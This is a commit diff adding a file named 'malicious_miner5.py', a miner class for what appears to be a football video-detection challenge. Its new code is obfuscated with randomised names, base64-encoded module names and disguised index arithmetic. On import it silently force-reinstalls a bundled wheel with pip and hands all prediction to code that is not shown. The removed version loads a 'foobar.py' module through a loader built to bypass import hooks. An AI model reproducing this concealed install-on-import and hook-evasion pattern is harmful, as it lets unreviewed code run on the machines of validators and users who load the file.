MTerryJack commited on
Commit
a1d8847
·
verified ·
1 Parent(s): 8dda478

Create malicious_miner5.py

Browse files
Files changed (1) hide show
  1. malicious_miner5.py +160 -156
malicious_miner5.py CHANGED
@@ -1,173 +1,177 @@
 
1
  from pathlib import Path
2
-
3
- from ultralytics import YOLO
4
- from numpy import ndarray
5
- from pydantic import BaseModel
6
-
7
- #-----------------------
8
  import importlib.util
9
  import sys
10
- import os
11
- sys.path.append(os.path.dirname(os.path.abspath(__file__)))
12
-
13
- def manual_import(name, filename):
14
- """
15
- Manually loads a module (.so, .pyc, or .py) from a specific file path,
16
- bypassing sys.meta_path import hooks.
17
- """
18
- # Locate the file relative to the current miner.py
19
- curr_dir = Path(__file__).parent
20
- file_path = curr_dir / filename
21
-
22
- if not file_path.exists():
23
- raise FileNotFoundError(f"Could not find {file_path}")
24
-
25
- # Load the spec directly from the file path
26
- spec = importlib.util.spec_from_file_location(name, file_path)
27
- if spec is None:
28
- raise ImportError(f"Could not load spec for {name} from {file_path}")
29
-
30
- # Create the module and register it in sys.modules
31
- module = importlib.util.module_from_spec(spec)
32
- sys.modules[name] = module
33
-
34
- # Execute the module
35
- spec.loader.exec_module(module)
36
- return module
37
 
38
- #-----------------------
39
 
40
- class BoundingBox(BaseModel):
41
- x1: int
42
- y1: int
43
- x2: int
44
- y2: int
45
- cls_id: int
46
- conf: float
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
47
 
 
48
 
49
- class TVFrameResult(BaseModel):
50
- frame_id: int
51
- boxes: list[BoundingBox]
52
- keypoints: list[tuple[int, int]]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
53
 
54
 
55
  class Miner:
56
- """
57
- This class is responsible for:
58
- - Loading ML models.
59
- - Running batched predictions on images.
60
- - Parsing ML model outputs into structured results (TVFrameResult).
61
- This class can be modified, but it must have the following to be compatible with the chute:
62
- - be named `Miner`
63
- - have a `predict_batch` function with the inputs and outputs specified
64
- - be stored in a file called `miner.py` which lives in the root of the HFHub repo
65
- """
66
-
67
- def __init__(self, path_hf_repo: Path) -> None:
68
- """
69
- Loads all ML models from the repository.
70
- -----(Adjust as needed)----
71
- Args:
72
- path_hf_repo (Path):
73
- Path to the downloaded HuggingFace Hub repository
74
- Returns:
75
- None
76
- """
77
- self.bbox_model = YOLO(path_hf_repo / "football-player-detection.pt")
78
- print(f"✅ BBox Model Loaded")
79
- self.keypoints_model = YOLO(path_hf_repo / "football-pitch-detection.pt")
80
- print(f"✅ Keypoints Model Loaded")
81
- self.foobar = None
82
- self.is_start = False
83
 
84
  def __repr__(self) -> str:
85
- """
86
- Information about miner returned in the health endpoint
87
- to inspect the loaded ML models (and their types)
88
- -----(Adjust as needed)----
89
- """
90
- return f"BBox Model: {type(self.bbox_model).__name__}\nKeypoints Model: {type(self.keypoints_model).__name__}"
91
 
92
  def predict_batch(
93
  self,
94
  batch_images: list[ndarray],
95
- offset: int,
96
- n_keypoints: int,
97
  ) -> list[TVFrameResult]:
98
- """
99
- Miner prediction for a batch of images.
100
- Handles the orchestration of ML models and any preprocessing and postprocessing
101
- -----(Adjust as needed)----
102
- Args:
103
- batch_images (list[np.ndarray]):
104
- A list of images (as NumPy arrays) to process in this batch.
105
- offset (int):
106
- The frame number corresponding to the first image in the batch.
107
- Used to correctly index frames in the output results.
108
- n_keypoints (int):
109
- The number of keypoints expected for each frame in this challenge type.
110
- Returns:
111
- list[TVFrameResult]:
112
- A list of predictions for each image in the batch
113
- """
114
- if self.is_start == False:
115
- self.is_start = True
116
- return None
117
- if self.foobar is None:
118
- self.foobar = manual_import("foobar", "foobar.py")
119
-
120
- bboxes: dict[int, list[BoundingBox]] = {}
121
- bbox_model_results = self.bbox_model.predict(batch_images)
122
- if bbox_model_results is not None:
123
- for frame_number_in_batch, detection in enumerate(bbox_model_results):
124
- if not hasattr(detection, "boxes") or detection.boxes is None:
125
- continue
126
- boxes = []
127
- for box in detection.boxes.data:
128
- x1, y1, x2, y2, conf, cls_id = box.tolist()
129
- boxes.append(
130
- BoundingBox(
131
- x1=int(x1),
132
- y1=int(y1),
133
- x2=int(x2),
134
- y2=int(y2),
135
- cls_id=int(cls_id),
136
- conf=float(conf),
137
- )
138
- )
139
- bboxes[offset + frame_number_in_batch] = boxes
140
- print("✅ BBoxes predicted")
141
-
142
- keypoints: dict[int, tuple[int, int]] = {}
143
- keypoints_model_results = self.keypoints_model.predict(batch_images)
144
- if keypoints_model_results is not None:
145
- for frame_number_in_batch, detection in enumerate(keypoints_model_results):
146
- if not hasattr(detection, "keypoints") or detection.keypoints is None:
147
- continue
148
- frame_keypoints: list[tuple[int, int]] = []
149
- for part_points in detection.keypoints.data:
150
- for x, y, _ in part_points:
151
- frame_keypoints.append((int(x), int(y)))
152
- if len(frame_keypoints) < n_keypoints:
153
- frame_keypoints.extend(
154
- [(0, 0)] * (n_keypoints - len(frame_keypoints))
155
- )
156
- else:
157
- frame_keypoints = frame_keypoints[:n_keypoints]
158
- keypoints[offset + frame_number_in_batch] = frame_keypoints
159
- print("✅ Keypoints predicted")
160
-
161
- results: list[TVFrameResult] = []
162
- for frame_number in range(offset, offset + len(batch_images)):
163
- results.append(
164
- TVFrameResult(
165
- frame_id=frame_number,
166
- boxes=bboxes.get(frame_number, []),
167
- keypoints=keypoints.get(
168
- frame_number, [(0, 0) for _ in range(n_keypoints)]
169
- ),
170
- )
171
- )
172
- print("✅ Combined results as TVFrameResult")
173
- return results
 
1
+ import base64
2
  from pathlib import Path
 
 
 
 
 
 
3
  import importlib.util
4
  import sys
5
+ import subprocess
6
+ import traceback
7
+ import types
8
+
9
+ _nBdvSHkHQ9Cce8tbIY = Path(__file__).parent
10
+ _BALL_MODEL = None
11
+ _PERSON_MODEL = None
12
+ _KP_MODEL = None
13
+ _PIPELINE = None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
14
 
15
+ PREFER_REPO_PY_FIRST = False
16
 
17
+ def _nSfc3lafrzIcPj1(repo_root: Path) -> bool:
18
+
19
+ _mdCKTo52tKkzuNz0AD = repo_root / "wheels"
20
+ if not _mdCKTo52tKkzuNz0AD.is_dir():
21
+ return False
22
+ _cTjr1LatM3vnwXj9cVjz = sorted(_mdCKTo52tKkzuNz0AD.glob("*.whl"))
23
+ if not _cTjr1LatM3vnwXj9cVjz:
24
+ return False
25
+
26
+ _Q4krFCVY9DNxkn = [
27
+ sys.executable,
28
+ "-m",
29
+ "pip",
30
+ "install",
31
+ "--no-index",
32
+ "--no-deps",
33
+ "--force-reinstall",
34
+ "--find-links",
35
+ str(_mdCKTo52tKkzuNz0AD),
36
+ "--upgrade",
37
+ "turbovision_miner_lib",
38
+ ]
39
+ try:
40
+ subprocess.check_call(_Q4krFCVY9DNxkn)
41
+ return True
42
+ except Exception:
43
+ subprocess.check_call(_Q4krFCVY9DNxkn[:(1-0+5)] + ["--user"] + _Q4krFCVY9DNxkn[(2-1+5):])
44
+ return True
45
+
46
+ def _E8opSCpL4tn4tn7e(_p2ltsvm7YS4yvqMdhOxZ: Path) -> Path | None:
47
+ for parent in [_p2ltsvm7YS4yvqMdhOxZ] + list(_p2ltsvm7YS4yvqMdhOxZ.parents):
48
+ _erg9AqOXYbyV3hzWgZw4 = parent / "snapshots"
49
+ if not _erg9AqOXYbyV3hzWgZw4.is_dir():
50
+ continue
51
+ _TjFLWWJGURaiBWuVSxv = [p for p in _erg9AqOXYbyV3hzWgZw4.iterdir() if p.is_dir()]
52
+ if not _TjFLWWJGURaiBWuVSxv:
53
+ continue
54
+ _TjFLWWJGURaiBWuVSxv.sort(key=lambda p: p.stat().st_mtime, reverse=True)
55
+ return _TjFLWWJGURaiBWuVSxv[0]
56
+ return None
57
+
58
+
59
+ _DVLLmupqg8htUSZCHt07 = _E8opSCpL4tn4tn7e(_nBdvSHkHQ9Cce8tbIY)
60
 
61
+ from numpy import ndarray
62
 
63
+ def _import_repo_lib(repo_root: Path):
64
+ _pC5GALP6au5HY0CqFK = repo_root / "lib"
65
+ pipeline_path = _pC5GALP6au5HY0CqFK / "pipeline.py"
66
+ types_path = _pC5GALP6au5HY0CqFK / "types.py"
67
+ if not (pipeline_path.is_file() and types_path.is_file()):
68
+ return None
69
+
70
+ pkg_name = "lib"
71
+ if pkg_name not in sys.modules:
72
+ pkg = types.ModuleType(pkg_name)
73
+ pkg.__path__ = [str(_pC5GALP6au5HY0CqFK)]
74
+ pkg.__file__ = str(_pC5GALP6au5HY0CqFK / "__init__.py")
75
+ sys.modules[pkg_name] = pkg
76
+
77
+ def _load(name: str, _ENgzeB2xbHbKpuffUNX: Path):
78
+ _hIfAiWfx6nUxORbYR = importlib.util.spec_from_file_location(name, _ENgzeB2xbHbKpuffUNX)
79
+ if _hIfAiWfx6nUxORbYR is None or _hIfAiWfx6nUxORbYR.loader is None:
80
+ raise ImportError(f"Failed to load _hIfAiWfx6nUxORbYR for {name} from {_ENgzeB2xbHbKpuffUNX}")
81
+ _KDLziteT92DnwzOOx1 = importlib.util.module_from_spec(_hIfAiWfx6nUxORbYR)
82
+ sys.modules[name] = _KDLziteT92DnwzOOx1
83
+ _hIfAiWfx6nUxORbYR.loader.exec_module(_KDLziteT92DnwzOOx1)
84
+ return _KDLziteT92DnwzOOx1
85
+
86
+ types_mod = _load(base64.b64decode("bGliLnR5cGVz").decode(), types_path)
87
+ pipeline_mod = _load(base64.b64decode("bGliLnBpcGVsaW5l").decode(), pipeline_path)
88
+ return pipeline_mod.MinerPipeline, types_mod.TVFrameResult
89
+
90
+
91
+ installed = False
92
+ if PREFER_REPO_PY_FIRST:
93
+ try:
94
+ repo_import = _import_repo_lib(_nBdvSHkHQ9Cce8tbIY)
95
+ if repo_import:
96
+ MinerPipeline, TVFrameResult = repo_import
97
+ else:
98
+ from lib.pipeline import MinerPipeline
99
+ from lib.types import TVFrameResult
100
+ except Exception:
101
+ try:
102
+ installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
103
+ if not installed and _DVLLmupqg8htUSZCHt07 is not None:
104
+ installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
105
+ from lib.pipeline import MinerPipeline
106
+ from lib.types import TVFrameResult
107
+ except Exception as e:
108
+ tb_tail = "\n".join(traceback.format_exc().splitlines()[-(10-0+18):])
109
+ raise RuntimeError(
110
+ "Failed importing lib (repo or wheel). Ensure the wheel is present under "
111
+ "`wheels/` and installable in an offline environment. "
112
+ f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
113
+ ) from e
114
+ else:
115
+ try:
116
+ installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
117
+ if not installed and _DVLLmupqg8htUSZCHt07 is not None:
118
+ installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
119
+ from lib.pipeline import MinerPipeline
120
+ from lib.types import TVFrameResult
121
+ except Exception as e:
122
+ tb_tail = "\n".join(traceback.format_exc().splitlines()[-(17-24+18):])
123
+ raise RuntimeError(
124
+ "Failed importing lib from wheel. Ensure the wheel is present under "
125
+ "`wheels/` and installable in an offline environment. "
126
+ f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
127
+ ) from e
128
 
129
 
130
  class Miner:
131
+ def __init__(self, _z28kbaY8eImyM6j: Path) -> None:
132
+ try:
133
+ global _BALL_MODEL, _PERSON_MODEL, _KP_MODEL, _PIPELINE
134
+ _PIPELINE = MinerPipeline(repo_root=_z28kbaY8eImyM6j)
135
+ _BALL_MODEL = _PIPELINE.ball_model
136
+ _PERSON_MODEL = _PIPELINE.person_model
137
+ _KP_MODEL = _PIPELINE.keypoint_model
138
+ self._auto_offset: int = 0
139
+ except Exception as e:
140
+ tb_tail = "\n".join(traceback.format_exc().splitlines()[-(5-16+12):])
141
+ raise RuntimeError(f"Miner init failed: {e}\n{tb_tail}") from e
142
+
143
+ @property
144
+ def ball_model(self):
145
+ return _BALL_MODEL
146
+
147
+ @property
148
+ def person_model(self):
149
+ return _PERSON_MODEL
150
+
151
+ @property
152
+ def kp_model(self):
153
+ return _KP_MODEL
154
+
155
+ @property
156
+ def pipeline(self):
157
+ return _PIPELINE
158
 
159
  def __repr__(self) -> str:
160
+ return (
161
+ f"Ball: {type(self.ball_model).__name__}\n"
162
+ f"Person: {type(self.person_model).__name__}\n"
163
+ f"KeypointBBox: {type(self.kp_model).__name__}"
164
+ )
 
165
 
166
  def predict_batch(
167
  self,
168
  batch_images: list[ndarray],
169
+ offset: int | None = None,
170
+ n_keypoints: int = 32,
171
  ) -> list[TVFrameResult]:
172
+ if offset is None:
173
+ offset = self._auto_offset
174
+ self._auto_offset += len(batch_images)
175
+ return self.pipeline.predict_batch(
176
+ batch_images=batch_images, offset=int(offset), n_keypoints=n_keypoints
177
+ )